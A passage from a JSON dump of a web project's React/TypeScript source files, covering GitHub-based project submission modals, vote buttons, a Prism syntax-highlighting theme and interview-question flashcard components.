    "content": "import { cn } from '../../../lib/classname.ts';\n\ntype StepperStepSeparatorProps = {\n  isActive: boolean;\n};\n\nexport function StepperStepSeparator(props: StepperStepSeparatorProps) {\n  const { isActive } = props;\n\n  return (\n    <hr\n      className={cn('grow hidden sm:flex border border-gray-300', {\n        'border-green-500': isActive,\n      })}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/SubmissionRequirement.tsx",
    "content": "import type { ReactNode } from 'react';\nimport { cn } from '../../lib/classname.ts';\nimport { CheckIcon, CircleDashed, Loader, Loader2, X } from 'lucide-react';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\n\ntype SubmissionRequirementProps = {\n  status: 'pending' | 'success' | 'error';\n  children: ReactNode;\n  isLoading?: boolean;\n};\n\nexport function SubmissionRequirement(props: SubmissionRequirementProps) {\n  const { status, isLoading = false, children } = props;\n\n  return (\n    <div\n      className={cn(`flex items-center rounded-lg p-2 text-sm text-gray-900`, {\n        'bg-gray-200': status === 'pending',\n        'bg-green-200': status === 'success',\n        'bg-red-200': status === 'error',\n      })}\n    >\n      {!isLoading && (\n        <>\n          {status === 'pending' ? (\n            <CircleDashed className=\"h-4 w-4 shrink-0 text-gray-400\" />\n          ) : status === 'success' ? (\n            <CheckIcon className=\"h-4 w-4 shrink-0 text-green-800\" />\n          ) : (\n            <X className=\"h-4 w-4 shrink-0 text-yellow-800\" />\n          )}\n        </>\n      )}\n\n      {isLoading && (\n        <Loader2\n          className={'h-4 w-4 animate-spin text-gray-400'}\n          strokeWidth={3}\n        />\n      )}\n      <span className=\"ml-2\">{children}</span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/SubmitProjectModal.tsx",
    "content": "import { CheckIcon, CopyIcon, X } from 'lucide-react';\nimport { Modal } from '../Modal';\nimport { type FormEvent, useState } from 'react';\nimport { httpPost } from '../../lib/http';\nimport { GitHubIcon } from '../ReactIcons/GitHubIcon.tsx';\nimport { SubmissionRequirement } from './SubmissionRequirement.tsx';\nimport { useCopyText } from '../../hooks/use-copy-text.ts';\nimport { getTopGitHubLanguages } from '../../lib/github.ts';\nimport { SubmitSuccessModal } from './SubmitSuccessModal.tsx';\n\ntype SubmitProjectResponse = {\n  repositoryUrl: string;\n  submittedAt: Date;\n};\n\ntype GitHubApiLanguagesResponse = Record<string, number>;\n\ntype VerificationChecksType = {\n  repositoryExists: 'pending' | 'success' | 'error';\n  readmeExists: 'pending' | 'success' | 'error';\n  projectUrlExists: 'pending' | 'success' | 'error';\n};\n\ntype SubmitProjectModalProps = {\n  onClose: () => void;\n  projectId: string;\n  repositoryUrl?: string;\n  onSubmit: (response: SubmitProjectResponse) => void;\n};\n\nexport function SubmitProjectModal(props: SubmitProjectModalProps) {\n  const {\n    onClose,\n    projectId,\n    onSubmit,\n    repositoryUrl: defaultRepositoryUrl = '',\n  } = props;\n\n  const { isCopied, copyText } = useCopyText();\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n  const [isSuccess, setIsSuccess] = useState(false);\n  const [repoUrl, setRepoUrl] = useState(defaultRepositoryUrl);\n  const [verificationChecks, setVerificationChecks] =\n    useState<VerificationChecksType>({\n      repositoryExists: defaultRepositoryUrl ? 'success' : 'pending',\n      readmeExists: defaultRepositoryUrl ? 'success' : 'pending',\n      projectUrlExists: defaultRepositoryUrl ? 'success' : 'pending',\n    });\n\n  const projectUrl = `${import.meta.env.DEV ? 'http://localhost:3000' : 'https://roadmap.sh'}/projects/${projectId}`;\n\n  const handleSubmit = async (e: FormEvent) => {\n    e.preventDefault();\n    try {\n      setVerificationChecks({\n        repositoryExists: 'pending',\n        readmeExists: 'pending',\n        projectUrlExists: 'pending',\n      });\n\n      setIsLoading(true);\n      setError('');\n      setIsSuccess(false);\n\n      if (!repoUrl) {\n        setVerificationChecks({\n          repositoryExists: 'error',\n          readmeExists: 'pending',\n          projectUrlExists: 'pending',\n        });\n\n        throw new Error('Repository URL is required');\n      }\n\n      const repoUrlParts = repoUrl\n        .replace(/https?:\\/\\/(www\\.)?github\\.com/, '')\n        .split('/');\n      const username = repoUrlParts[1];\n      const repoName = repoUrlParts[2];\n\n      if (!username || !repoName) {\n        setVerificationChecks({\n          repositoryExists: 'error',\n          readmeExists: 'pending',\n          projectUrlExists: 'pending',\n        });\n\n        throw new Error('Invalid GitHub repository URL');\n      }\n\n      const mainApiUrl = `https://api.github.com/repos/${username}/${repoName}`;\n\n      const allContentsUrl = `${mainApiUrl}/contents`;\n      const allContentsResponse = await fetch(allContentsUrl);\n      if (!allContentsResponse.ok) {\n        setVerificationChecks({\n          repositoryExists: 'error',\n          readmeExists: 'pending',\n          projectUrlExists: 'pending',\n        });\n\n        if (allContentsResponse?.status === 404) {\n          throw new Error(\n            'Repository not found. Make sure it exists and is public.',\n          );\n        }\n\n        throw new Error('Failed to fetch repository contents');\n      }\n\n      const allContentsData = await allContentsResponse.json();\n      if (!Array.isArray(allContentsData)) {\n        setVerificationChecks({\n          repositoryExists: 'error',\n          readmeExists: 'pending',\n          projectUrlExists: 'pending',\n        });\n\n        throw new Error('Failed to fetch repository contents');\n      }\n\n      const readmeFile = allContentsData.find(\n        (file) => file.name.toLowerCase() === 'readme.md',\n      );\n      if (!readmeFile || !readmeFile.url) {\n        setVerificationChecks({\n          repositoryExists: 'success',\n          readmeExists: 'error',\n          projectUrlExists: 'pending',\n        });\n\n        throw new Error('Readme file not found');\n      }\n\n      const readmeUrl = readmeFile.url;\n      const response = await fetch(readmeUrl);\n      if (!response.ok || response.status === 404) {\n        setVerificationChecks({\n          repositoryExists: 'success',\n          readmeExists: 'error',\n          projectUrlExists: 'pending',\n        });\n\n        throw new Error('Readme file not found');\n      }\n\n      const data = await response.json();\n      if (!data.content) {\n        setVerificationChecks({\n          repositoryExists: 'success',\n          readmeExists: 'error',\n          projectUrlExists: 'pending',\n        });\n\n        throw new Error('Readme file not found');\n      }\n\n      const readmeContent = window.atob(data.content);\n      if (!readmeContent.includes(projectUrl)) {\n        setVerificationChecks({\n          repositoryExists: 'success',\n          readmeExists: 'success',\n          projectUrlExists: 'error',\n        });\n\n        throw new Error('Add the project page URL to the readme file');\n      }\n\n      setVerificationChecks({\n        repositoryExists: 'success',\n        readmeExists: 'success',\n        projectUrlExists: 'success',\n      });\n\n      const languagesResponse = await fetch(`${mainApiUrl}/languages`);\n      let languages: string[] = [];\n      if (languagesResponse.ok) {\n        const languagesData =\n          (await languagesResponse.json()) as GitHubApiLanguagesResponse;\n\n        languages = getTopGitHubLanguages(languagesData);\n        if (languages?.length === 0) {\n          languages = Object.keys(languagesData || {})?.slice(0, 4);\n        }\n      }\n\n      const submitProjectUrl = `${import.meta.env.PUBLIC_API_URL}/v1-submit-project/${projectId}`;\n      const { response: submitResponse, error } =\n        await httpPost<SubmitProjectResponse>(submitProjectUrl, {\n          repositoryUrl: repoUrl,\n          languages,\n        });\n\n      if (error || !submitResponse) {\n        throw new Error(\n          error?.message || 'Error submitting project. Please try again!',\n        );\n      }\n\n      setIsSuccess(true);\n      setIsLoading(false);\n\n      onSubmit(submitResponse);\n    } catch (error: any) {\n      console.error(error);\n      setError(error?.message || 'Failed to verify repository');\n      setIsLoading(false);\n    }\n  };\n\n  if (isSuccess) {\n    return <SubmitSuccessModal projectId={projectId} onClose={onClose} />;\n  }\n\n  return (\n    <Modal onClose={onClose} bodyClassName=\"h-auto p-4\">\n      <h2 className=\"mb-2 flex items-center gap-2.5 text-xl font-semibold\">\n        <GitHubIcon className=\"h-6 w-6 text-black\" /> Submit Solution URL\n      </h2>\n      <p className=\"text-sm text-gray-500\">\n        Submit the URL of your GitHub repository with the solution.\n      </p>\n\n      <div className=\"my-4 flex flex-col gap-1\">\n        <SubmissionRequirement\n          isLoading={isLoading}\n          status={verificationChecks.repositoryExists}\n        >\n          URL must point to a public GitHub repository\n        </SubmissionRequirement>\n        <SubmissionRequirement\n          isLoading={isLoading}\n          status={verificationChecks.readmeExists}\n        >\n          Repository must contain a README file\n        </SubmissionRequirement>\n        <SubmissionRequirement\n          isLoading={isLoading}\n          status={verificationChecks.projectUrlExists}\n        >\n          README file must contain the{' '}\n          <button\n            className={\n              'font-medium underline underline-offset-2 hover:text-purple-700'\n            }\n            onClick={() => {\n              copyText(projectUrl);\n            }}\n          >\n            {!isCopied && (\n              <>\n                project URL{' '}\n                <CopyIcon\n                  className=\"relative -top-0.5 inline-block h-3 w-3\"\n                  strokeWidth={2.5}\n                />\n              </>\n            )}\n            {isCopied && (\n              <>\n                copied URL{' '}\n                <CheckIcon\n                  className=\"relative -top-0.5 inline-block h-3 w-3\"\n                  strokeWidth={2.5}\n                />\n              </>\n            )}\n          </button>\n        </SubmissionRequirement>\n      </div>\n\n      <form className=\"mt-4\" onSubmit={handleSubmit}>\n        <input\n          type=\"text\"\n          className=\"w-full rounded-lg border border-gray-300 p-2 text-sm focus:border-gray-500 focus:outline-hidden\"\n          placeholder=\"https://github.com/you/solution-repo\"\n          value={repoUrl}\n          onChange={(e) => setRepoUrl(e.target.value)}\n        />\n\n        <button\n          type=\"submit\"\n          className=\"mt-2 w-full rounded-lg bg-black p-2 text-sm font-medium text-white disabled:opacity-50\"\n          disabled={isLoading}\n        >\n          {isLoading ? 'Verifying...' : 'Verify and Submit'}\n        </button>\n        {error && (\n          <p className=\"mt-2 text-sm font-medium text-red-500\">{error}</p>\n        )}\n      </form>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/SubmitSuccessModal.tsx",
    "content": "import { CheckCircle, CheckCircle2, Clipboard, Copy } from 'lucide-react';\nimport { getUser } from '../../lib/jwt.ts';\nimport { Modal } from '../Modal';\nimport { CheckIcon as ReactCheckIcon } from '../ReactIcons/CheckIcon.tsx';\nimport { useCopyText } from '../../hooks/use-copy-text.ts';\nimport { cn } from '../../lib/classname.ts';\n\ntype SubmitSuccessModalProps = {\n  projectId: string;\n  onClose: () => void;\n};\n\nexport function SubmitSuccessModal(props: SubmitSuccessModalProps) {\n  const { onClose, projectId } = props;\n\n  const user = getUser();\n\n  const projectSolutionUrl = `${import.meta.env.DEV ? 'http://localhost:3000' : 'https://roadmap.sh'}/projects/${projectId}/solutions?u=${user?.id}`;\n\n  const { isCopied, copyText } = useCopyText();\n\n  return (\n    <Modal onClose={onClose} bodyClassName=\"h-auto p-4\">\n      <div className=\"flex flex-col items-center justify-center pb-3 pt-12\">\n        <ReactCheckIcon additionalClasses=\"h-12 text-green-500 w-12\" />\n        <p className=\"mt-4 text-lg font-medium\">Solution Submitted</p>\n        <p className=\"mt-0.5 text-center text-sm text-gray-500\">\n          Congrats! Your solution has been submitted.\n        </p>\n\n        <div className=\"mt-4 w-full\">\n          <input\n            type=\"text\"\n            readOnly={true}\n            value={projectSolutionUrl}\n            className=\"w-full rounded-md border bg-gray-50 px-2.5 py-2 text-sm text-gray-700 focus:outline-hidden\"\n            onClick={(e) => {\n              e.currentTarget.select();\n            }}\n          />\n\n          <button\n            className={cn(\n              'mt-2 flex w-full items-center justify-center gap-1 rounded-md px-2 py-2 text-sm font-medium transition-colors',\n              isCopied\n                ? 'bg-green-600 text-white hover:bg-green-700'\n                : 'bg-black text-white hover:bg-gray-800'\n            )}\n            onClick={() => {\n              copyText(projectSolutionUrl);\n            }}\n          >\n            {isCopied ? (\n              <>\n                <CheckCircle className=\"size-4 stroke-[2.5px]\" />\n                URL Copied\n              </>\n            ) : (\n              <>\n                <Copy className=\"size-4 stroke-[2.5px]\" />\n                Copy Shareable Link\n              </>\n            )}\n          </button>\n        </div>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/VoteButton.tsx",
    "content": "import { cn } from '../../lib/classname.ts';\nimport { type LucideIcon, ThumbsUp } from 'lucide-react';\n\ntype VoteButtonProps = {\n  icon: LucideIcon;\n  isActive: boolean;\n  count: number;\n  hideCount?: boolean;\n  onClick: () => void;\n};\nexport function VoteButton(props: VoteButtonProps) {\n  const { icon: VoteIcon, isActive, hideCount = false, count, onClick } = props;\n  return (\n    <button\n      className={cn(\n        'flex gap-1 px-2 py-1 text-sm text-gray-500 hover:bg-gray-100 hover:text-black focus:outline-hidden',\n        {\n          'bg-gray-100 text-orange-600 hover:text-orange-700': isActive,\n          'bg-transparent text-gray-500 hover:text-black': !isActive,\n        },\n      )}\n      disabled={isActive}\n      onClick={onClick}\n    >\n      <VoteIcon className={cn('size-3.5 stroke-[2.5px]', {\n          'top-[1.5px] relative mr-0.5': hideCount\n      })} />\n      {!hideCount && (\n        <span className=\"relative -top-[0.5px] text-xs font-medium tabular-nums\">\n          {count}\n        </span>\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/Questions/PrismAtom.css",
    "content": "/**\n * atom-dark theme for `prism.js`\n * Based on Atom's `atom-dark` theme: https://github.com/atom/atom-dark-syntax\n * @author Joe Gibson (@gibsjose)\n */\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n  color: #c5c8c6;\n  text-shadow: 0 1px rgba(0, 0, 0, 0.3);\n  font-family: Inconsolata, Monaco, Consolas, 'Courier New', Courier, monospace;\n  direction: ltr;\n  text-align: left;\n  white-space: pre;\n  word-spacing: normal;\n  word-break: normal;\n  line-height: 1.5;\n\n  -moz-tab-size: 4;\n  -o-tab-size: 4;\n  tab-size: 4;\n\n  -webkit-hyphens: none;\n  -moz-hyphens: none;\n  -ms-hyphens: none;\n  hyphens: none;\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n  padding: 1em;\n  margin: .5em 0;\n  overflow: auto;\n  border-radius: 0.3em;\n}\n\n:not(pre) > code[class*=\"language-\"],\npre[class*=\"language-\"] {\n  background: #1d1f21;\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n  padding: .1em;\n  border-radius: .3em;\n}\n\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n  color: #7C7C7C;\n}\n\n.token.punctuation {\n  color: #c5c8c6;\n}\n\n.namespace {\n  opacity: .7;\n}\n\n.token.property,\n.token.keyword,\n.token.tag {\n  color: #96CBFE;\n}\n\n.token.class-name {\n  color: #FFFFB6;\n  text-decoration: underline;\n}\n\n.token.boolean,\n.token.constant {\n  color: #99CC99;\n}\n\n.token.symbol,\n.token.deleted {\n  color: #f92672;\n}\n\n.token.number {\n  color: #FF73FD;\n}\n\n.token.selector,\n.token.attr-name,\n.token.string,\n.token.char,\n.token.builtin,\n.token.inserted {\n  color: #A8FF60;\n}\n\n.token.variable {\n  color: #C6C5FE;\n}\n\n.token.operator {\n  color: #EDEDED;\n}\n\n.token.entity {\n  color: #FFFFB6;\n  cursor: help;\n}\n\n.token.url {\n  color: #96CBFE;\n}\n\n.language-css .token.string,\n.style .token.string {\n  color: #87C38A;\n}\n\n.token.atrule,\n.token.attr-value {\n  color: #F9EE98;\n}\n\n.token.function {\n  color: #DAD085;\n}\n\n.token.regex {\n  color: #E9C062;\n}\n\n.token.important {\n  color: #fd971f;\n}\n\n.token.important,\n.token.bold {\n  font-weight: bold;\n}\n\n.token.italic {\n  font-style: italic;\n}"
  },
  {
    "path": "src/components/Questions/QuestionCard.tsx",
    "content": "import { Fragment, useEffect, useRef, useState } from 'react';\nimport { guideRenderer, type QuestionType } from '../../lib/guide-renderer';\nimport { cn } from '../../lib/classname';\n\ntype QuestionCardProps = {\n  question: QuestionType;\n};\n\nexport function QuestionCard(props: QuestionCardProps) {\n  const { question } = props;\n\n  const [isAnswerVisible, setIsAnswerVisible] = useState<boolean>(false);\n  const answerRef = useRef<HTMLDivElement>(null);\n  const questionRef = useRef<HTMLDivElement>(null);\n\n  useEffect(() => {\n    // set the height of the question width to the height of the answer\n    // width if the answer is visible and the question height is less than\n    // the answer height\n    if (isAnswerVisible) {\n      const answerHeight = answerRef.current?.clientHeight || 0;\n      const questionHeight = questionRef.current?.clientHeight || 0;\n\n      if (answerHeight > questionHeight) {\n        questionRef.current!.style.height = `${answerHeight}px`;\n      }\n    } else {\n      questionRef.current!.style.height = `auto`;\n    }\n\n    // if the user has scrolled down and the top of the answer is not\n    // visible, scroll to the top of the answer\n    const questionTop =\n      (questionRef.current?.getBoundingClientRect().top || 0) - 147;\n    if (questionTop < 0) {\n      window.scrollTo({\n        top: window.scrollY + questionTop - 10,\n      });\n    }\n  }, [isAnswerVisible]);\n\n  useEffect(() => {\n    setIsAnswerVisible(false);\n  }, [question]);\n\n  return (\n    <>\n      <div\n        ref={questionRef}\n        className={`flex grow flex-col items-center justify-center py-5 sm:py-8`}\n      >\n        <div className=\"hidden text-gray-400 sm:block\">\n          {question.topics?.map((topic, counter) => {\n            const totalTopics = question.topics?.length || 0;\n\n            return (\n              <Fragment key={topic}>\n                <span className=\"capitalize\">{topic}</span>\n                {counter !== totalTopics - 1 && (\n                  <span className=\"mx-2\">&middot;</span>\n                )}\n              </Fragment>\n            );\n          })}\n        </div>\n\n        <div className=\"mx-auto flex max-w-[550px] flex-1 items-center justify-center py-3 sm:py-8\">\n          <p className=\"px-4 text-xl leading-snug! font-semibold text-black sm:text-3xl\">\n            {question.question}\n          </p>\n        </div>\n\n        <div className=\"text-center\">\n          <button\n            onClick={() => {\n              setIsAnswerVisible(true);\n            }}\n            className=\"cursor-pointer text-sm text-gray-500 underline underline-offset-4 transition-colors hover:text-black sm:text-base\"\n          >\n            Click to Reveal the Answer\n          </button>\n        </div>\n      </div>\n\n      <div\n        ref={answerRef}\n        className={cn(\n          'absolute right-0 left-0 flex flex-col items-center justify-center rounded-[7px] bg-neutral-100 py-4 text-sm leading-normal text-black transition-all duration-300 sm:py-8 sm:text-xl',\n          isAnswerVisible ? 'top-0 min-h-[248px] sm:min-h-[398px]' : 'top-full',\n        )}\n      >\n        <div className=\"qa-answer prose prose-h5:font-semibold prose-h5:mb-2 prose-h5:text-black prose-sm prose-quoteless prose-h1:mb-2.5 prose-h1:mt-7 prose-h2:mb-3 prose-h2:mt-0 prose-h3:mb-[5px] prose-h3:mt-[10px] prose-p:mb-2 prose-p:mt-0 prose-blockquote:font-normal prose-blockquote:not-italic prose-blockquote:text-gray-700 prose-pre:mb-6! prose-pre:w-full prose-ul:my-2 prose-li:m-0 prose-li:mb-0.5 prose-li:[&>p]:mb-0 sm:prose-p:mb-4 mx-auto flex w-full max-w-[600px] grow flex-col items-start justify-center px-4 py-0 text-left text-sm sm:px-5 sm:text-lg\">\n          {guideRenderer.render(question.answer)}\n        </div>\n\n        <div className=\"mt-7 text-center\">\n          <button\n            onClick={() => {\n              setIsAnswerVisible(false);\n            }}\n            className=\"cursor-pointer text-sm text-gray-500 underline underline-offset-4 transition-colors hover:text-black sm:text-base\"\n          >\n            Hide the Answer\n          </button>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Questions/QuestionFinished.tsx",
    "content": "import type { ReactNode } from 'react';\nimport {\n  PartyPopper,\n  RefreshCcw,\n  SkipForward,\n  Sparkles,\n  ThumbsUp,\n} from 'lucide-react';\nimport type { QuestionProgressType } from './QuestionsList';\n\ntype ProgressStatButtonProps = {\n  isDisabled?: boolean;\n  icon: ReactNode;\n  label: string;\n  count: number;\n};\n\nfunction ProgressStatLabel(props: ProgressStatButtonProps) {\n  const { icon, label, count } = props;\n\n  return (\n    <span className=\"group relative flex flex-1 items-center overflow-hidden rounded-md border border-gray-300 bg-white px-2 py-2 text-sm text-black transition-colors disabled:opacity-50 sm:rounded-xl sm:px-4 sm:py-3 sm:text-base\">\n      {icon}\n      <span className=\"flex grow justify-between\">\n        <span>{label}</span>\n        <span>{count}</span>\n      </span>\n    </span>\n  );\n}\n\ntype QuestionFinishedProps = {\n  knowCount: number;\n  didNotKnowCount: number;\n  skippedCount: number;\n  totalCount: number;\n  onReset: () => void;\n};\n\nexport function QuestionFinished(props: QuestionFinishedProps) {\n  const { knowCount, didNotKnowCount, skippedCount, onReset } = props;\n\n  return (\n    <div className=\"relative flex grow flex-col items-center justify-center px-4 sm:px-0\">\n      <PartyPopper className=\"mb-4 mt-10 h-14 w-14 text-gray-300 sm:mt-0 sm:h-24 sm:w-24\" />\n      <h1 className=\"text-lg font-semibold text-gray-700 sm:text-2xl\">\n        Questions Finished\n      </h1>\n      <p className=\"mt-0 text-sm text-gray-500 sm:mt-2 sm:text-base\">\n        Click below revisit{' '}\n        <span className=\"hidden sm:inline\">specific or all questions</span>{' '}\n        <span className=\"inline sm:hidden\">questions</span>\n      </p>\n\n      <div className=\"mb-5 mt-5 flex w-full flex-col gap-1.5 px-2 sm:flex-row sm:gap-3 sm:px-16\">\n        <ProgressStatLabel\n          icon={<ThumbsUp className=\"mr-1 h-4\" />}\n          label=\"Knew\"\n          count={knowCount}\n        />\n        <ProgressStatLabel\n          icon={<Sparkles className=\"mr-1 h-4\" />}\n          label=\"Learned\"\n          count={didNotKnowCount}\n        />\n        <ProgressStatLabel\n          icon={<SkipForward className=\"mr-1 h-4\" />}\n          label=\"Skipped\"\n          count={skippedCount}\n        />\n      </div>\n      <div className=\"mb-4 mt-2 text-sm sm:mb-0\">\n        <button\n          onClick={() => onReset()}\n          className=\"flex items-center gap-0.5 text-sm text-red-700 hover:text-black sm:text-base\"\n        >\n          <RefreshCcw className=\"mr-1 h-4\" />\n          Restart Asking\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Questions/QuestionLoader.tsx",
    "content": "import {Spinner} from \"../ReactIcons/Spinner\";\n\nexport function QuestionLoader() {\n  return (\n    <div className=\"flex grow flex-col items-center justify-center\">\n      <p className=\"text-xl font-medium text-gray-500 flex items-center gap-3.5\">\n        <Spinner isDualRing={false} innerFill='#6b7280' className=\"h-5 w-5\" />\n        Please wait ..\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Questions/QuestionsList.tsx",
    "content": "import { useRef, useState } from 'react';\nimport type { QuestionType } from '../../lib/guide-renderer';\nimport { QuestionsProgress } from './QuestionsProgress';\nimport { cn } from '../../lib/classname';\nimport { QuestionFinished } from './QuestionFinished';\nimport { QuestionCard } from './QuestionCard';\nimport { CheckCircleIcon, SkipForwardIcon, SparklesIcon } from 'lucide-react';\nimport { Confetti } from '../Confetti';\n\ntype UserQuestionProgress = {\n  know: string[];\n  dontKnow: string[];\n  skip: string[];\n};\n\nexport type QuestionProgressType = keyof UserQuestionProgress;\n\ntype QuestionsListProps = {\n  questions: QuestionType[];\n  className?: string;\n};\n\nexport function QuestionsList(props: QuestionsListProps) {\n  const { questions, className } = props;\n\n  const [showConfetti, setShowConfetti] = useState(false);\n  const [currQuestionIndex, setCurrQuestionIndex] = useState(0);\n\n  const [userProgress, setUserProgress] = useState<UserQuestionProgress>({\n    know: [],\n    dontKnow: [],\n    skip: [],\n  });\n  const containerRef = useRef<HTMLDivElement>(null);\n\n  async function resetProgress() {\n    setCurrQuestionIndex(0);\n    setUserProgress({\n      know: [],\n      dontKnow: [],\n      skip: [],\n    });\n  }\n\n  function updateQuestionStatus(\n    status: QuestionProgressType,\n    questionId: string,\n  ) {\n    let newProgress = userProgress || { know: [], dontKnow: [], skip: [] };\n    if (status === 'know') {\n      newProgress.know.push(questionId);\n    } else if (status == 'dontKnow') {\n      newProgress.dontKnow.push(questionId);\n    } else if (status == 'skip') {\n      newProgress.skip.push(questionId);\n    }\n\n    const nextQuestionIndex = currQuestionIndex + 1;\n    setUserProgress(newProgress);\n    if (!nextQuestionIndex || !questions[nextQuestionIndex]) {\n      setShowConfetti(true);\n    }\n\n    setCurrQuestionIndex(nextQuestionIndex);\n  }\n\n  const knowCount = userProgress?.know.length || 0;\n  const dontKnowCount = userProgress?.dontKnow.length || 0;\n  const skipCount = userProgress?.skip.length || 0;\n  const hasProgress = knowCount > 0 || dontKnowCount > 0 || skipCount > 0;\n\n  const currQuestion = questions[currQuestionIndex];\n  const hasFinished = hasProgress && currQuestionIndex === -1;\n\n  return (\n    <div className={cn('mb-0 gap-3 text-center sm:mb-40', className)}>\n      <QuestionsProgress\n        knowCount={knowCount}\n        didNotKnowCount={dontKnowCount}\n        skippedCount={skipCount}\n        totalCount={questions?.length}\n        onResetClick={() => {\n          resetProgress().finally(() => null);\n        }}\n        onNextClick={() => {\n          if (\n            currQuestionIndex !== -1 &&\n            currQuestionIndex < questions.length - 1\n          ) {\n            updateQuestionStatus('skip', currQuestion.id);\n          }\n        }}\n        onPrevClick={() => {\n          if (currQuestionIndex > 0) {\n            const prevQuestion = questions[currQuestionIndex - 1];\n            // remove last question from the progress of the user\n            const tempUserProgress = {\n              know:\n                userProgress?.know.filter((id) => id !== prevQuestion.id) || [],\n              dontKnow:\n                userProgress?.dontKnow.filter((id) => id !== prevQuestion.id) ||\n                [],\n              skip:\n                userProgress?.skip.filter((id) => id !== prevQuestion.id) || [],\n            };\n\n            setUserProgress(tempUserProgress);\n            setCurrQuestionIndex(currQuestionIndex - 1);\n          }\n        }}\n      />\n\n      {showConfetti && containerRef.current && (\n        <Confetti\n          pieces={100}\n          element={containerRef.current}\n          onDone={() => {\n            setShowConfetti(false);\n          }}\n        />\n      )}\n\n      <div\n        ref={containerRef}\n        className=\"relative mb-4 flex min-h-[250px] w-full overflow-hidden rounded-lg border border-gray-300 bg-white sm:min-h-[400px]\"\n      >\n        {hasFinished && (\n          <QuestionFinished\n            totalCount={questions?.length || 0}\n            knowCount={knowCount}\n            didNotKnowCount={dontKnowCount}\n            skippedCount={skipCount}\n            onReset={() => {\n              resetProgress().finally(() => null);\n            }}\n          />\n        )}\n        {currQuestion && <QuestionCard question={currQuestion} />}\n      </div>\n\n      <div\n        className={cn(\n          'flex flex-col gap-1 transition-opacity duration-300 sm:flex-row sm:gap-3',\n          hasFinished ? 'opacity-0' : 'opacity-100',\n        )}\n      >\n        <button\n          disabled={!currQuestion}\n          onClick={(e) => {\n            e.stopPropagation();\n            e.preventDefault();\n            updateQuestionStatus('know', currQuestion.id);\n          }}\n          className=\"flex flex-1 items-center rounded-md border border-gray-300 bg-white px-2 py-2 text-sm text-black transition-colors hover:border-black hover:bg-black hover:text-white disabled:pointer-events-none disabled:opacity-50 sm:rounded-lg sm:px-4 sm:py-3 sm:text-base\"\n        >\n          <CheckCircleIcon className=\"mr-1 h-4 text-current\" />\n          Already Know that\n        </button>\n        <button\n          onClick={() => {\n            updateQuestionStatus('dontKnow', currQuestion.id);\n          }}\n          disabled={!currQuestion}\n          className=\"flex flex-1 items-center rounded-md border border-gray-300 bg-white px-2 py-2 text-sm text-black transition-colors hover:border-black hover:bg-black hover:text-white disabled:pointer-events-none disabled:opacity-50 sm:rounded-lg sm:px-4 sm:py-3 sm:text-base\"\n        >\n          <SparklesIcon className=\"mr-1 h-4 text-current\" />\n          Didn't Know that\n        </button>\n        <button\n          onClick={() => {\n            updateQuestionStatus('skip', currQuestion.id);\n          }}\n          disabled={!currQuestion}\n          data-next-question=\"skip\"\n          className=\"flex flex-1 items-center rounded-md border border-red-600 px-2 py-2 text-sm text-red-600 hover:bg-red-600 hover:text-white disabled:pointer-events-none disabled:opacity-50 sm:rounded-lg sm:px-4 sm:py-3 sm:text-base\"\n        >\n          <SkipForwardIcon className=\"mr-1 h-4\" />\n          Skip Question\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Questions/QuestionsProgress.tsx",
    "content": "import {\n  CheckCircle,\n  ChevronLeft,\n  ChevronRight,\n  RotateCcw,\n  SkipForward,\n  Sparkles,\n} from 'lucide-react';\n\ntype QuestionsProgressProps = {\n  isLoading?: boolean;\n  knowCount?: number;\n  didNotKnowCount?: number;\n  totalCount?: number;\n  skippedCount?: number;\n  onResetClick?: () => void;\n  onPrevClick?: () => void;\n  onNextClick?: () => void;\n};\n\nexport function QuestionsProgress(props: QuestionsProgressProps) {\n  const {\n    isLoading = false,\n    knowCount = 0,\n    didNotKnowCount = 0,\n    totalCount = 0,\n    skippedCount = 0,\n    onResetClick = () => null,\n    onPrevClick = () => null,\n    onNextClick = () => null,\n  } = props;\n\n  const totalSolved = knowCount + didNotKnowCount + skippedCount;\n  const donePercentage = (totalSolved / totalCount) * 100;\n\n  return (\n    <div className=\"mb-3 overflow-hidden rounded-lg border border-gray-300 bg-white p-4 sm:mb-5 sm:p-6\">\n      <div className=\"mb-3 flex items-center text-gray-600\">\n        <div className=\"relative w-full flex-1 rounded-xl bg-gray-200 p-1\">\n          <div\n            className=\"absolute top-0 bottom-0 left-0 rounded-xl bg-slate-800 transition-[width] duration-400\"\n            style={{\n              width: `${donePercentage}%`,\n            }}\n          />\n        </div>\n        <span className=\"ml-3 flex items-center text-sm\">\n          <button\n            onClick={onPrevClick}\n            className=\"text-zinc-400 hover:text-black\"\n          >\n            <ChevronLeft className=\"h-4\" strokeWidth={3} />\n          </button>\n          <span className=\"block min-w-[41px] text-center\">\n            <span className=\"tabular-nums\">{totalSolved}</span> / {totalCount}\n          </span>\n          <button\n            onClick={onNextClick}\n            className=\"text-zinc-400 hover:text-black\"\n          >\n            <ChevronRight className=\"h-4\" strokeWidth={3} />\n          </button>\n        </span>\n      </div>\n\n      <div className=\"relative -left-1 flex flex-col gap-2 text-sm text-black sm:flex-row sm:gap-3\">\n        <span className=\"flex items-center\">\n          <CheckCircle className=\"mr-1 h-4\" />\n          <span>Knew</span>\n          <span className=\"ml-2 rounded-md bg-gray-200/80 px-1.5 font-medium text-black\">\n            <span className=\"tabular-nums\">{knowCount}</span> Items\n          </span>\n        </span>\n\n        <span className=\"flex items-center\">\n          <Sparkles className=\"mr-1 h-4\" />\n          <span>Learnt</span>\n          <span className=\"ml-2 rounded-md bg-gray-200/80 px-1.5 font-medium text-black\">\n            <span className=\"tabular-nums\">{didNotKnowCount}</span> Items\n          </span>\n        </span>\n\n        <span className=\"flex items-center\">\n          